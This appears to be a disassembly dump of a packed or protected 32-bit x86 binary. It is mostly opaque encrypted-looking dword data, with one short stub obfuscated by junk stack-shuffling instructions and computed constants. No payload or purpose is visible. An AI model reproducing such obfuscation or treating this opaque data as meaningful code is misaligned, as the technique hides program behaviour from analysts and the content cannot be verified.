		dd 0BF135214h, 0DF31C24Dh, 88B70F6Fh, 0EC2BA9F3h, 37EE2A0Bh
		dd 1A1BC333h, 0F436B4D2h, 0EFA141B5h, 0B9118137h, 415FA758h
		dd 32509899h, 0ABEDBF8Ah, 0EFA1166Ch, 70C83837h, 1B637C1Bh
		dd 0B9EEACFDh, 0BCAC54E0h, 3703E964h, 3BBA5829h, 7C000000h
		dd 95135DF1h, 0C2BAC056h, 2AD242B1h, 0C2BAAB1Fh, 0A463FCB1h
		dd 310E69FDh, 0BAFA508Fh, 0AC1CB1C2h, 54B4A44Ch, 0BA0397D6h
		dd 138331C2h, 0FA186095h, 0A90A6252h, 889Ah, 5CF1AC00h
		dd 60559412h, 0A037EECAh, 3F878830h, 2261A321h,	37EEABACh
		dd 0AC986C0Ch, 0F854A466h, 1ECF3088h, 383AB8D6h, 0AEE31CEh
		dd 6BAA281Bh, 37EE6F17h, 0B76FC737h, 0EE6E51ACh, 0E98B6837h
		dd 0EE6C54AAh, 0A6067637h, 9D1FFDFEh, 0F6912AF5h, 0A97035EAh
		dd 15270B8h, 45C30DA2h,	6DF1CE03h, 6A4B8A15h, 43B331D9h
		dd 34529A9Bh, 21A381B6h, 0EE0711C9h, 19F4292Bh,	0A1F9E991h
		dd 1593DD72h, 0AA641FD6h, 3E8FFF3Bh, 15CF154h, 0E9F79F25h
		dd 0C2BA54AAh, 0A6067631h, 4A89C846h, 9037F5BCh, 22C6028Eh
		dd 4CA48BA6h, 0C7C870E0h, 0E1E3617Fh, 79B7A995h, 0F24887C5h
		dd 1437F135h, 0DF0644A4h, 0B4223DCDh, 0F0A1025Ah, 0D70C8AA8h
		dd 631B73FDh, 92BA2858h, 2769EB97h, 0D0B092E8h,	0EB33B457h
		dd 0C0156DCDh, 0A2C008D9h, 8E12EF24h, 13BB411Dh, 0B96ACB23h
		dd 0AAAB5371h, 939D45D1h, 2F4C3F41h, 3439286Ah,	883B9A1Dh
		dd 0BC14741Ah, 67AFA067h, 0FF47F849h, 0A6A88D0h, 12525462h
		dd 0D02D7A94h, 1FB695EDh, 0F4000000h, 1CA07DB2h, 0D0A22DA1h
		dd 3928B57h, 0BF2E4388h, 2096D563h, 6257D020h, 803A92F2h
		dd 589FBDF7h, 478F9038h, 0A3808129h, 9876771Fh,	916D6E16h
		dd 8662630Bh, 7E575800h, 6E494AF2h, 633D3EE6h, 681531D9h
		dd 2836h, 57243C89h, 0C781E789h, 4, 4EF81h, 3C870000h
		dd 0C895C24h, 7F4A6824h, 4890000h, 4EC8324h, 0BB241C89h
		dd 63301E0h, 545BD989h,	8324048Bh, 0BB5304C4h, 8, 0B89C301h
		dd 81241C8Bh, 4C4h, 2434FF00h, 4C48158h, 0FF000000h, 83592434h
		dd 0A3E904C4h, 0AAFFF975h, 0D51C96D4h, 0B5E3A968h, 3306A5B8h
		dd 0FFC50306h, 0F58F13E0h, 404EDC31h, 0DB7FA1Fh, 0B8816608h
		dd 0AB4EE510h, 6778B029h, 0E97C3579h, 215EE601h, 0B5F7DC67h
		dd 0C125F58h, 0BE3CCA50h, 533E6976h, 6B508430h,	208BCE7Bh
		dd 8304E737h, 0D377F92Bh, 0EB73F730h, 6D4AF453h, 0D2841119h
		dd 0CC70BC0Eh, 0D110FD55h, 0B4D8C865h, 0ACF56473h, 0FF8D684Bh
		dd 598FFE25h, 0F6433055h, 3C8D8D27h, 60063308h,	90AED281h
		dd 830F1879h, 3, 61CABF0Fh, 8D89FE8Ah, 62C2BA5h, 8E9h
		dd 0C89E1D00h, 0EF76AACFh, 0D985C7DCh, 5C062C12h, 8B000065h
		dd 2C08A59Dh, 0C185C706h, 62C29h, 0E9000000h, 9, 41A37C97h
		dd 22778E1Ch, 1B5FF32h,	6A062C31h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 3C6EC352h
		dd 0EF04741h, 964E68Dh,	2C2315B5h, 0F595FF06h, 6A062C15h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0C18CC351h, 860FE540h, 3,	6AC6B70Fh, 0B195FF00h
		dd 8B062C26h, 745EEBC0h, 613F2D74h, 0E77E67D4h,	0C2A84729h
		dd 0F26093AFh, 5AB1BCA5h, 0D2658BE6h, 0AD14EA64h, 58619B11h
		dd 28E9F40Fh, 0D915A9D2h, 40D397A1h, 60CC37C7h,	0F732D8B5h
		dd 4981FF87h, 235CDC1Dh, 7886F233h, 66E6EC6h, 0D3676FBEh
		dd 38582490h, 0FB874C1h, 0D0AE2B54h, 0DABD350h,	5E2E5E90h
		dd 648D8D7Ch, 6A063309h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 2A88C352h, 0A58D896Ah
		dd 6A062C2Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 1661C357h, 9D75EE11h, 0BD89E121h
		dd 62C0EDDh, 12D985C7h,	6EB4062Ch, 12E90000h, 7E000000h
		dd 4670712Dh, 0C13EE1E7h, 27065902h, 3E2FEEEBh,	0C185C707h
		dd 62C29h, 0FC000000h, 22DB5FFh, 0B589062Ch, 62C2751h
		dd 15F595FFh, 6A062Ch, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 203155C3h, 337FC039h, 6E9h, 0C86DE400h
		dd 6A0D60F4h, 0B195FF00h, 8B062C26h, 0F90DEBC0h, 5C17EBDEh
		dd 0E856912Ch, 29C2AAE3h, 0A188D8Dh, 0EE800633h, 0A58D8914h
		dd 60062C2Bh, 2168F381h, 816652C4h, 610978E6h, 12D985C7h
		dd 59B8062Ch, 0B5890000h, 62C11E1h, 29C185C7h, 62Ch, 840F0000h
		dd 8, 0F18D8960h, 61062C04h, 243DB5FFh,	6A062Ch, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 82E103C3h, 0DA105207h, 63D2B866h, 15F595FFh,	6A062Ch
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0E5CDCCC3h, 16B81E95h, 6A6642DBh, 0B195FF00h, 8B062C26h
		dd 985BEBC0h, 33F5E5EDh, 0A83C07BCh, 1480B9E1h,	0B25A65C3h
		dd 0B206AABFh, 0BD5DC1B3h, 0DBE919C6h, 61741861h, 5CF89A03h
		dd 28D1BF7Fh, 0A580B0EAh, 0A2B92382h, 9C97E4E3h, 10848B37h
		dd 0EF563E9Ch, 1D3B703Ch, 0C0475186h, 46A6A4FDh, 6AD5164Dh
		dd 11EB700Ch, 9B26F169h, 0AF8FE2DCh, 5E83446h, 11000000h
		dd 72DD1DD0h, 5ED08B66h, 0D009B966h, 7410C681h,	0BF0F0000h
		dd 1CE068D7h, 95090000h, 62C15E5h, 14E958h, 111B0000h
		dd 72683879h, 8D583F0Eh, 9B7F9880h, 0D43AE8C7h,	36FFB6A6h
		dd 9D95895Bh, 81062C29h, 0C0F510EBh, 0A98D0B4Fh, 81062C33h
		dd 0A9D5BCF3h, 798D8B3Ch, 81062C1Dh, 351FF2F3h,	91950B40h
		dd 89062C19h, 6830F1Eh,	81000000h, 0B5F2E7EFh, 3EE8306h
		dd 0A7C98166h, 0BD8B4E60h, 62C1651h, 0F01E883h,	0FFFFAD85h
		dd 118D8BFFh, 0E8062C24h, 9, 7A1580C0h,	7137D2D6h, 14E97Ah
		dd 49830000h, 0E92FEFDFh, 0C85C1381h, 275809CDh, 90C004DDh
		dd 805B5F8Bh, 0C381E4D4h, 6957h, 0F633D08Bh, 391CD981h
		dd 34FF44EBh, 0C18B661Eh, 0D98D895Fh, 81062C04h, 0B79E53C7h
		dd 0E3DFBA06h, 0F7815F5Eh, 1271B4E6h, 81B7CE80h, 0FB3912C7h
		dd 5D858B16h, 89062C04h, 6660333Ch, 61BF35BBh, 167EEE81h
		dd 8D8B0EB3h, 62C14D1h,	167AC681h, 870F0EB3h, 3, 81C9BF0Fh
		dd 0FF9768FEh, 17850FFFh, 0B4000000h, 29E9DBh, 6C550000h
		dd 0C72824E0h, 127BA7EFh, 2E50D514h, 0E9F810F8h, 0FFFFFF86h
		dd 67F6049Bh, 73D509E0h, 17D451F5h, 0F585C07Fh,	8D92BED3h
		dd 330D048Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 1C17ABADh, 0C31FD384h, 0CE906h, 0CA0E0000h
		dd 5A13D7F2h, 795A9210h, 870F2FF3h, 6, 10A1858Bh, 8D89062Ch
		dd 62C2BA5h, 1CA5BD8Bh,	85C7062Ch, 62C12D9h, 6B08h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0A9C35545h, 0E9D19842h
		dd 14h,	5069DE47h, 0EA119A92h, 18D4843Fh, 34567571h, 7B9719FCh
		dd 29C185C7h, 62Ch, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 75A545C3h, 2CCB3822h
		dd 8B030496h, 2C0239B5h, 0C7BF0F06h, 2C81B5FFh,	6A062Ch
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 7C932BC3h, 8E99Fh, 0B9D40000h, 59B9F83Dh, 95FF8383h
		dd 62C15F5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	27C35747h, 6A584EDCh, 0B195FF00h, 8B062C26h, 474BEBC0h
		dd 18269C98h, 0DEFC0303h, 0CDAA54B0h, 62FBF9E3h, 981F62B5h
		dd 0E5BA9D04h, 0D0E8FD9Ch, 0FEA05E0Ah, 8C84B738h, 0D3CA4994h
		dd 0E953F505h, 3895878Dh, 2F3FFB14h, 0E9A93E79h, 45F1068Bh
		dd 0AF2D24C3h, 4EFE3E74h, 0F40132CAh, 5E8A38Bh,	0B2000000h
		dd 56432EFDh, 1659858Bh, 95F062Ch, 2C25D5B5h, 0A3C78106h
		dd 3300005Eh, 2C07E1B5h, 176BBB06h, 0D0800000h,	0E837FFC0h
		dd 0Bh,	9C14BB22h, 0DA63E602h, 891AAD7Fh, 2C0CDD9Dh, 8B595E06h
		dd 2C0805B5h, 0C3E98106h, 89244BEBh, 2C346D9Dh,	64F18106h
		dd 0BE0703C6h, 61E2C25h, 6085E981h, 0F08A3240h,	0F18B6651h
		dd 0F7BE078Fh, 8378749Ah, 0BE902EFh, 9D000000h,	83660004h
		dd 1C657526h, 4F4F5332h, 1EB81h, 850F0000h, 4Dh, 10E8h
		dd 937CE700h, 9C6A85BFh, 2466DB98h, 0C07CC6A6h,	8A0F60D8h
		dd 0
		dd 12E9h, 5ABC3800h, 0E80BBA83h, 0D993365Eh, 0ADB63307h
		dd 6154412Bh, 30E95Ah, 9B8A0000h, 64696A60h, 0D219113Bh
		dd 7795630h, 0B5189893h, 0BB66BE80h, 3EE9157Ah,	18FFFFFFh
		dd 0FF6AE6DBh, 0F545FB4Ah, 0B97F8693h, 0CB2EB586h, 5E8470Ah
		dd 1000000h, 0C5A5550Ah, 0ACE68166h, 95035BC4h,	62C2361h
		dd 672DC381h, 0E9570000h, 0Dh, 0F1FCCCF3h, 0FE55FDE3h
		dd 0B41A749Bh, 96685E93h, 8B000019h, 2C1D4D8Dh,	0F2805F06h
		dd 6633FF3Fh, 0CE7AD281h, 8E958h, 65970000h, 0C6439E66h
		dd 0C0810537h, 7393344Ah, 1DD58529h, 0F081062Ch, 4717F423h
		dd 48B0Fh, 0B9660000h, 0E8810F1Ch, 0B84381h, 3464E681h
		dd 3896B53h, 46D28166h,	4EB83C1h, 0EF835E52h, 2F850F01h
		dd 0E9000000h, 11h, 0A4F1B7FBh,	9BAE441Ah, 2E313BC4h, 5E6A0Fh
		dd 32E930h, 94460000h, 9C4F68CBh, 71B9A04Fh, 762CAB24h
		dd 644CED89h, 958BA9FCh, 62C3365h, 0FFFF74E9h, 73D45DFFh
		dd 6E1225CAh, 0F358C5C2h, 5C4F285Ch, 591D7424h,	6E8h, 0D8067000h
		dd 601CCDADh, 49858953h, 5B062C12h, 0DE41BE66h,	0EBB5961h
		dd 8143B7FAh, 6C0CC1h, 0D7816600h, 0BE556Bh, 89000000h
		dd 2C0DC19Dh, 0E34FF06h, 685F27BFh, 0C0815824h,	13364346h
		dd 0CE9h, 0D63800h, 0E6EEB078h,	0E0171F47h, 0C3C081D9h
		dd 81449F88h, 0E917C1EAh, 0DFC08164h, 0B26F2F7Dh, 9E8508Dh
		dd 24000000h, 6385BE7Ch, 90714D83h, 1F9D958Bh, 8F5A062Ch
		dd 0BD8B3104h, 62C06E1h, 15459D89h, 0EE81062Ch,	44B4776Fh
		dd 0C681D88Bh, 44B4776Bh, 81D1BF0Fh, 0FF949CFEh, 8A850FFFh
		dd 8BFFFFFFh, 2C24F1BDh, 0A0758206h, 14690889h,	8DA6DC78h
		dd 3609426Bh, 35A12E86h, 0D9259086h, 3025480Ah,	37909905h
		dd 3F2514AAh, 30257602h, 0D9980786h, 30236EA5h,	3057A589h
		dd 0B5E39086h, 3609692Bh, 331B4CC8h, 4A4D7F2h, 6F177A2h
		dd 85907BEBh, 0BD236E81h, 1FA32D03h, 0BBF56F80h, 9DA08E76h
		dd 7E2308A7h, 802512EEh, 14218822h, 33B753C6h, 13CCF779h
		dd 0B5A827AAh, 360A168Ah, 0C8AE9879h, 3025343Fh, 302DFB86h
		dd 3F830986h, 30258A03h, 0F92E0B86h, 0CFD5A489h, 3DCC6F79h
		dd 0BD254886h, 1C6A751Bh, 3020AA80h, 0D3DA0986h, 3FC6390Bh
		dd 0BDA844B5h, 36163126h, 823Eh, 0F1EA6300h, 0A075826Fh
		dd 14690889h, 8DA6DC78h, 3609426Bh, 35A12E86h, 0D9259086h
		dd 3025480Ah, 0E9839905h, 0B9A4F305h, 22h, 18E9h, 1C447500h
		dd 5Eh,	4 dup(0)
		dd 84BE900h, 70B70000h,	744EFF50h, 0DE899EAh, 0AA833485h
		dd 401CCD1Eh, 0C2DB69BAh, 74C54B27h, 1263E5C3h,	0AF008461h
		dd 4798B6FEh, 79CD0C9Ah, 9937F1AAh, 2495C5C3h, 4F31C2BAh
		dd 3998E907h, 9ADC5AA4h, 0BAA51958h, 75E531C2h,	0C011921Dh
		dd 198937EEh, 0E947071h, 6E7E8E90h, 0E68AEC9Eh,	0BB139975h
		dd 4361A95Ah, 7F588D9Bh, 35B4BF3h, 741C3A82h, 4B0910A9h
		dd 0EB63816h, 0FD45C61Eh, 0D6DF1CEh, 0FD2B11BCh, 7C7E5829h
		dd 8B38B8E0h, 0F51F7793h, 6Ah, 4866AEE3h, 0C39F36F0h, 0B894953Dh
		dd 0A67FB432h, 9771721Ah, 1575650Dh, 683A05BDh,	7701ED66h
		dd 0B40C6510h, 589AB85Fh, 5F9EC556h, 29A4CAA8h,	31C2B8D5h
		dd 0AC2D85F5h, 0D3F139D0h, 8ADB3B2Bh, 564BF9DFh, 0BB4A4C5Eh
		dd 0F1A8E1BCh, 17224CA4h, 0E4000000h, 953DC39Fh, 0C2BA318Ah
		dd 23E67F31h, 7BCC522Eh, 126Ch,	0C39F7E00h, 368A953Dh
		dd 0FF31C2BAh, 0A6825F3Ah, 0F1E5CF20h, 5594125Ch, 37EEDAF4h
		dd 7A16F0F2h, 47F75B36h, 7B35A109h, 176F2EABh, 92933BABh
		dd 6FB12FB7h, 0EEA4DA30h, 348CFC37h, 0BF4722D3h, 89D36817h
		dd 0C52FCC0Bh, 5FCF31C2h, 0F594ADB7h, 287901DCh, 6C149C77h
		dd 9A84FD61h, 0F2952E3Dh, 297A02DDh, 105EF13Fh,	0DC825D92h
		dd 0C2BA299Dh, 99F96931h, 0EFA901F1h, 48255A68h, 0BA1367A6h
		dd 0C33331C2h, 9F510B63h, 0BF8F3957h, 45CFA5D5h, 62666156h
		dd 28000000h, 0BD115092h, 0DD31C2BAh, 53E6156Dh, 53925B05h
		dd 31C2BAFFh, 23BDFBFDh, 8454985Bh, 0A650C02Ch,	0C21E9092h
		dd 72BB92FEh, 0C2BEDF33h, 2F8FFF31h, 9FDB49D7h,	0BCBE3CC4h
		dd 4BCAC672h, 0F231AFECh, 31C2869Ch, 3CF64EBEh,	9092B7F5h
		dd 80BFB721h, 31C23B0Ah, 3A9EDC4Ch, 1E0381Ah, 41h, 105EF113h
		dd 0FF539266h, 4731C2BAh, 0E4E7E967h, 1011821Ch, 3D93392Bh
		dd 0D6601AFFh, 5092C47Eh, 0C2BABD11h, 156DDD31h, 5D921987h
		dd 22A3FB81h, 0F515BF47h, 4866AEE3h, 633FB0A0h,	0ED4535DDh
		dd 39579F33h, 3B828691h, 0F4CF31C7h, 0E6C3C46Ch, 97B0BA62h
		dd 4891F0F0h, 2A489041h, 0D72B6AACh, 0F731C63Bh, 3BD42A69h
		dd 86F631C6h, 0BC6DCE26h, 0B1B25AE0h, 0D9653ED5h, 6C034131h
		dd 0EDBCD285h, 0EBB65EBEh, 588DB752h, 5E4EF67Ch, 23A98506h
		dd 934127D2h, 2DF85E51h, 0BA000000h, 9C5B579Fh,	0BFFAC271h
		dd 0B22FA3E2h, 0FF6F31C2h, 0E8973F9Fh, 498B0953h, 59B13914h
		dd 0EEE5D1CEh, 29D14137h, 3916F13Ah, 9882D3F1h,	9139579Fh
		dd 0EB734E83h, 0A7CF6493h, 70286AFAh, 0B02E8E85h, 0EE8D6C71h
		dd 9E1C8C37h, 706B489Ch, 0B30BE7EFh, 3B59A152h,	26AC88BDh
		dd 540B16CEh, 0B5B01914h, 65A7AD6Ch, 26CE5430h,	2047BB36h
		dd 9972BB5Ch, 1975650Dh, 88D051A9h, 2068196Ah, 16AB5A02h
		dd 420F4ECCh, 0B2BD7050h, 0FE33F142h, 8C469E20h, 66105EF1h
		dd 579F2E68h, 5D928F39h, 4250F884h, 0C2BA8F03h,	0FF5FCF31h
		dd 0A55C46A7h, 615645CFh, 5866h, 5EF12800h, 0BA5FB3F2h
		dd 0F7F31C2h, 909205AFh, 0D6C91D4Bh, 40CE266Dh,	0C3BABCFEh
		dd 7A4FD948h, 0F8FA50CBh, 0BBFA31C2h, 31C2F847h, 4BBB1787h
		dd 0F81268F3h, 0C43431C2h, 1B50921Ah, 0E75B9A40h, 2731C2BAh
		dd 45FF57B7h, 923CC49Fh, 5D92B7F5h, 0C4A3FB81h,	26h, 105EF1D6h
		dd 0FF539266h, 0FD31C2BAh, 0BB63EFC8h, 4F2F73CBh, 0BC9092A5h
		dd 2865C18h, 208E1C74h,	923CC49Fh, 579FB7F5h, 0ADF68F5Bh
		dd 83DC4AC2h, 3A397700h, 5A0262F5h, 0C7E9494Fh,	0E628AA31h
		dd 0C7EE53A7h, 0AB037331h, 569EB356h, 5A36E738h, 4F2B2CD4h
		dd 0CA094BC9h, 31C7EE74h, 16CE2696h, 6644794Bh,	50378CE4h
		dd 0CC1DA37Fh, 50FE3B21h, 37F25Eh, 9FB40000h, 0BC255B57h
		dd 0E92FCD33h, 9D32E189h, 0A196D553h, 0E137EED2h, 0ECC8C971h
		dd 92B50948h, 65D537EEh, 835C5D05h, 734E4FF7h, 44438CEBh
		dd 15F43D9Ch, 85D6F43Ch, 39579F9Bh, 43AD86BBh, 4330230Ah
		dd 37DF3F1Dh, 0A3607969h, 3090BE8Ch, 0DC7120D8h, 761EA681h
		dd 0B3139975h, 5E93D553h, 6656FE80h, 3102830Eh,	0EA5A37EEh
		dd 5EF1AF99h, 5A686610h, 90FCF058h, 93EB730Fh, 159092D9h
		dd 0F706F3B3h, 0DABCB244h, 53B34347h, 36327AFBh, 86F9F55h
		dd 1AC42415h, 0BD115092h, 0C831C2BAh, 0CEBE66ECh, 3AF12472h
		dd 740C8817h, 715BBC14h, 5645CFA5h, 2B6661h, 1F540000h
		dd 0AA64BC44h, 0FA825D92h, 92DC73A2h, 0FF5392E8h, 1F31C2BAh
		dd 249205AFh, 923CC49Fh, 0D5AEE3F5h, 4137F149h,	3Eh, 7F5D9253h
		dd 0C5455FDh, 7368EEEh,	0A6A82670h, 0F4978D8Dh,	386B12AFh
		dd 821F518Fh, 9249035Bh, 0C2BAFF53h, 0BD674731h, 0C49F2492h
		dd 27BCBE3Ch, 603875C5h, 0CA72F6D3h, 68227ADAh,	579FB7F5h
		dd 0A986BB39h, 0A15CD25h, 31C73B06h, 647D1C65h,	0EFADFE1Ch
		dd 7479DFBAh, 0B512CAE9h, 70600868h, 314F9718h,	0FE467B89h
		dd 0F04838E0h, 64E22CC1h, 0EADEB425h, 66E45437h, 79D15331h
		dd 5EF12E18h, 2E686610h, 8F39579Fh, 0F8845D92h,	0A7086050h
		dd 45CFA5BDh, 0CD026156h, 0D5C56DEFh, 3C537Dh, 0F1150000h
		dd 9266105Eh, 0BABD1150h, 6DDD31C2h, 0F2488715h, 1431C2BAh
		dd 2492FAA4h, 0A4989092h, 0A8BB7A78h, 6CF4CF50h, 92B7F5C2h
		dd 0B8401B50h, 0C2BAC93Dh, 41990931h, 3D62h, 5EF17400h
		dd 7F5D9210h, 0D6555FDh, 0FF539253h, 0FD31C2BAh, 1E51B9BBh
		dd 0F255066Bh, 0C28D0377h, 7BD34331h, 0E26C4637h, 0FFD94A3Ah
		dd 926B1575h, 3CC49F24h, 0AEE3F592h, 0B2A24AD4h, 5D92A05Ah
		dd 809EE615h, 3088E8D8h, 0A14967AFh, 0C73B9296h, 0E1A8F131h
		dd 47ACA8F0h, 0E69155B2h, 27D82989h, 143C1DFh, 0C6544CC2h
		dd 0C61E8E31h, 80CA5F0Eh, 39B2C302h, 0FA6A37EAh, 0D9B6EBA9h
		dd 0B182F837h, 54C437F3h, 0F1E29CF4h, 6866105Eh, 1B579F2Eh
		dd 0C2BA66DCh, 0DB1AA831h, 31C2BA67h, 77D737A7h, 0A5D5BFCDh
		dd 615645CFh, 4F66h, 5D922800h,	75A4FC80h, 92EA94E2h, 9C3E1B50h
		dd 0C2BAE95Dh, 59B92931h, 0BA007601h, 0D24231C2h, 845D9228h
		dd 898250F8h, 0BEB2A3ADh, 70FE56B6h, 59ADEC2Eh,	7931C235h
		dd 92F7B109h, 0AE9A6E90h, 1B730877h, 8D37BF9Ah,	2A41B7F5h
		dd 53000000h, 66105EF1h, 0BAFF5392h, 674731C2h,	1268A7E9h
		dd 3431C2BAh, 92B26CC4h, 5EC49F24h, 0CBB54397h,	6946B72Fh
		dd 0F5DB85E5h, 39579FB7h, 0C43A79BBh, 631C2BAh,	0D7863E96h
		dd 457AF842h, 0FE8CE468h, 3D5DBABCh, 410D45BFh,	0F6315EE9h
		dd 71E137EEh, 0E22CC120h, 6FE32264h, 0AF37EEF4h, 1759E73Fh
		dd 0D98105E2h, 1777FBD8h, 858534BFh, 0C93931D9h, 0A9D82021h
		dd 0D45E38CBh, 34DC3C2Ch, 0E293E444h, 0C9D47C9Ah, 85AD48BCh
		dd 3EE66A47h, 2FD7F53Dh, 6CCCB64h, 4C0673C7h, 0C3239355h
		dd 567C1B64h, 68C04421h, 30819FE7h, 7119377Fh, 630B9770h
		dd 7B594059h, 87C66A46h, 554C0633h, 1283E353h, 1909B135h
		dd 0DAF840C1h, 7290D889h, 36BCAh, 0F77D0000h, 38589FBDh
		dd 29478F90h, 1FA38081h, 16987677h, 0B916D6Eh, 866263h
		dd 0F27E5758h, 0E66E494Ah, 0D9633D3Eh, 74681531h, 8900002Dh
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	5CCEh
		mov	[esp], edx
		push	esi
		push	edx
		mov	edx, 2B662F6Ch
		mov	esi, 68BB3100h
		sub	esi, edx
		pop	edx
		inc	esi
		xor	esi, 3B66117Dh
		mov	ebp, esi
		pop	esi
		push	1CC7h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		pop	dword ptr [edx+8]
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5017CA
; ---------------------------------------------------------------------------
		dw 9036h
		dd 3B0711E1h, 18ACB8AAh, 0C5030633h, 22E7E0FFh,	119F5363h
		dd 72C419A3h, 8D8D1968h, 63319ECh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0DEC35141h,	0CCFFDC86h, 0FCB86660h
		dd 10E9615Dh, 0AC000000h, 0DC187931h, 213033C9h, 7B00CFFEh
		dd 89B95495h, 2C2BA58Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 71B58BF9h, 0C7062C1Eh
		dd 2C12D985h, 5FCC06h, 0C1BD8900h, 0C7062C13h, 2C29C185h
		dd 6, 28D0F00h,	0B6000000h, 41B5FF47h, 66062C2Bh, 0FFCE11BEh
		dd 2C15F595h, 6AF9F906h, 0B195FF00h, 8B062C26h,	726AEBC0h
		dd 500EDD41h, 1F90B481h, 0E53226E6h, 6BE6BA84h,	1735E329h
		dd 7A3F60F6h, 0C9F9FA8h, 0D0F64717h, 6DD4B708h,	9187C9F8h
		dd 87FC9A7Fh, 8002FEAAh, 7F02F7C7h, 0CB0C33C5h,	0E6CABA60h
		dd 88467B3Bh, 7B4077ECh, 0D9A7FDD5h, 7ADB0CA3h,	0A725E15Ch
		dd 0D3AD3B1h, 113C9EA9h, 6EF9FC94h, 5693C59Fh, 9895E7AAh
		dd 0AF677B7Ah, 7E8EEh, 679E0000h, 3A0CD4D8h, 9D9589E0h
		dd 5E062C20h, 6E9h, 8CFC9900h, 812EBC8Ch, 68C0C6h, 0C1950900h
		dd 0BA062C33h, 56137536h, 6F38F281h, 0BF0F5613h, 0F36FFC6h
		dd 0E85BC7B7h, 5, 23D22A40h, 0AE889h, 0A5340000h, 57DC5E8Eh
		dd 0F466EB3Fh, 0F3815959h, 74B2AD83h, 0D1EB81FCh, 8B084933h
		dd 2C30E985h, 0E4EB8106h, 0B526BEE8h, 8B1E8937h, 2C2D4185h
		dd 4EE8306h, 0EA815857h, 1, 0FFAB850Fh,	0BF66FFFFh, 11E9476Bh
		dd 94000000h, 1FD048h, 3 dup(0)
		dd 52EE9h, 31519800h, 0CB552FE0h, 66EEC97Ah, 0FF8B6415h
		dd 9B21FDAEh, 623BC4Ah,	0A253A42Ah, 40F142C4h, 0DD8EDF63h
		dd 79267795h, 0A156ACEBh, 0A27837F1h, 39BF9BD0h, 579F27E1h
		dd 0BA66DC1Bh, 1AA831C2h, 0C2BA67DBh, 0D737A731h, 8CC1CF77h
		dd 50D129B1h, 0EC9DEE74h, 0DDDE86A4h, 0A41A5995h, 0E631C2BAh
		dd 6D6E1676h, 72610993h, 29716E29h, 2C09BA0Bh, 0C9A657A8h
		dd 0ECD72E67h, 1A7A3D7Ch, 11937172h, 0D80D5F69h, 0C61B73FFh
		dd 0AD310EC3h, 6CABED2Fh, 31C23016h, 0F94DC838h, 1931C230h
		dd 3FF051A9h, 2631D9F7h, 31C230D5h, 3A2DECB1h, 5E55C754h
		dd 8F0Bh, 579FCD00h, 3E86BB39h,	5AD330Fh, 0A55DB515h, 0C2BA269Ah
		dd 0B85F2431h, 9A86989Ah, 0C4028663h, 5CB4C5B6h, 55C3FBE1h
		dd 1B25Eh, 9F740000h, 0C4E22AC5h, 45ED0B53h, 3F4DF555h
		dd 0FCA4C20Ah, 0BA5BAFEEh, 0B7B31C2h, 0F8D253ABh, 0E0BBF06Eh
		dd 47480058h, 4B3AE26Eh, 0C312C7C9h, 0F707EA90h, 0FBEB931Dh
		dd 2BEE439Bh, 54D25C36h, 90DBD71Fh, 0E64BAEF0h,	6F5F0767h
		dd 0BD05B617h, 8E904E9Fh, 0F5340498h, 31C27681h, 7C1351C1h
		dd 6E28804Dh, 0FC805D92h, 0C14723A4h, 0B43E1819h, 0A1230136h
		dd 2DC69149h, 5A33686Ah, 0DE3626CEh, 10EA815Dh,	0B4381586h
		dd 6BBC1C0Ch, 0AC5472BAh, 10C39C9Eh, 341CDA6h, 0D42C41F0h
		dd 72F07853h, 8B11D70h,	0FFFA72Bh, 0DF81BDD1h, 0E431A25h
		dd 52AA0A19h, 0FC31839Ah, 0F09822h, 0A1B453A8h,	5E556CCBh
		dd 5B62h, 0C39F2400h, 0B994953Dh, 18C04220h, 3120C828h
		dd 543021E8h, 3F1B50CEh, 0C92111B9h, 55DBB768h,	47D3ACADh
		dd 31B994C9h, 89419989h, 0A7BE5972h, 5E564FD1h,	4D68h
		dd 44215600h, 0D02818C0h, 3DC39F16h, 22B79495h,	0EB5F9EDAh
		dd 2B31C2BAh, 53FB5BBBh, 914E490Eh, 0F4DE2FB5h,	0BD3BC59Fh
		dd 36C8E8BBh, 2A82F398h, 86166772h, 0F4F231C2h,	861F73B2h
		dd 0CF3F31C2h, 70672277h, 5E56158Ah, 141h, 0C49F0300h
		dd 0D8BCBE3Ch, 4BE4003h, 8BFF3EBCh, 0CB31C269h,	4A4B035Bh
		dd 323CE402h, 86617E19h, 0B94EADFEh, 7AAFF16Fh,	37C21A9Ch
		dd 37EE30CEh, 0F5F69E0Eh, 803E8FADh, 3FE7714Bh,	2E76F74Fh
		dd 585A6810h, 490CF86Ch, 0CA55AD44h, 37EEA976h,	0C29F7A3Fh
		dd 0E5034B7Ah, 1DC4D3Dh, 17C81979h, 0F133B1CFh,	0EEA95CB2h
		dd 0B60E7E37h, 97B5FDFEh, 7F0BE419h, 0D78FE7D7h, 0BB94730Ch
